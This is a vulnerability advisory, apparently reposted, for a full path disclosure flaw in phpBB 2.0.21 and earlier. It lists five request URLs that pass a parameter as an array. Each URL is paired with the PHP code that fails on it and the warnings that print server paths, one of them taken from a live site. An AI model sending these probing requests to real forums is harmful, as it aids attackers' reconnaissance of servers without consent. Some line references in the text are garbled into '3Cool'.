可以得到网站物理路径

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/users/phpbb.cn/privmsg.php on line 62

Warning: Cannot modify header information - headers already sent by (output started at /www/users/phpbb.cn/privmsg.php:62) in /www/users/phpbb.cn/includes/sessions.php on line 207

Warning: Cannot modify header information - headers already sent by (output started at /www/users/phpbb.cn/privmsg.php:62) in /www/users/phpbb.cn/includes/sessions.php on line 208

Warning: Cannot modify header information - headers already sent by (output started at /www/users/phpbb.cn/privmsg.php:62) in /www/users/phpbb.cn/includes/functions.php on line 816


phpBB 2.0.21 Full Path Disclosure

-------------------------------------------------------------------

Discovered By zero [Moroccan Security Team]

-------------------------------------------------------------------

Details

~~~~~~~

Software: phpBB

Website : www.phpbb.com/about.php

Version : phpBB 2.0.21 and prior

-------------------------------------------------------------------

http://localhost/phpBB2/privmsg.php?folder[]=

# Code #

if ( isset($HTTP_POST_VARS['folder']) || isset($HTTP_GET_VARS['folder']) )

{

$folder = ( isset($HTTP_POST_VARS['folder']) ) ? $HTTP_POST_VARS['folder'] : $HTTP_GET_VARS['folder'];

$folder = htmlspecialchars($folder);

if ( $folder != 'inbox' && $folder != 'outbox' && $folder != 'sentbox' && $folder != 'savebox' )

{

$folder = 'inbox';

}

}

else

{

$folder = 'inbox';

}

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/privmsg.php on line 61

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 254

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 255

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/functions.php on line 941

~~~~~~~~~~~~~~~~~~~~

http://localhost/phpBB2/profile.php?mode[]=

# Code #

if ( isset($HTTP_GET_VARS['mode']) || isset($HTTP_POST_VARS['mode']) )

{

$mode = ( isset($HTTP_GET_VARS['mode']) ) ? $HTTP_GET_VARS['mode'] : $HTTP_POST_VARS['mode'];

$mode = htmlspecialchars($mode);

...

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/profile.php on line 77

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/profile.php:77) in /www/phpbb2/includes/functions.php on line 941

~~~~~~~~~~~~~~~~~~~~

http://localhost/phpBB2/posting.php?mode[]=

# Code #

$params = array('submit' => 'post', 'preview' => 'preview', 'delete' => 'delete', 'poll_delete' => 'poll_delete', 'poll_add' => 'add_poll_option', 'poll_edit' => 'edit_poll_option', 'mode' => 'mode');

while( list($var, $param) = @each($params) )

{

if ( !empty($HTTP_POST_VARS[$param]) || !empty($HTTP_GET_VARS[$param]) )

{

$$var = ( !empty($HTTP_POST_VARS[$param]) ) ? htmlspecialchars($HTTP_POST_VARS[$param]) : htmlspecialchars($HTTP_GET_VARS[$param]);

}

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/posting.php on line 38

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:3Cool in /www/phpbb2/includes/sessions.php on line 366

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:3Cool in /www/phpbb2/includes/sessions.php on line 367

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:3Cool in /www/phpbb2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:3Cool in /www/phpbb2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:3Cool in /www/phpbb2/includes/page_header.php on line 486

~~~~~~~~~~~~~~~~~~~~

http://localhost/phpBB2/groupcp.php?mode[]=

# Code #

if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )

{

$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];

$mode = htmlspecialchars($mode);

}

else

{

$mode = '';

}

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/groupcp.php on line 140

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 486

~~~~~~~~~~~~~~~~~~~~

http://localhost/phpBB2/modcp.php?mode[]=

# Code #

if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )

{

$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];

$mode = htmlspecialchars($mode);

}

...

# Result #

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/modcp.php on line 83

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 486

-------------------------------------------------------------------

Greetz

~~~~~~

simo64, tahati, net_ghost, dabdoub, simo(d-i), iss4m, zerosecure, hunter, themenotor ...

Contact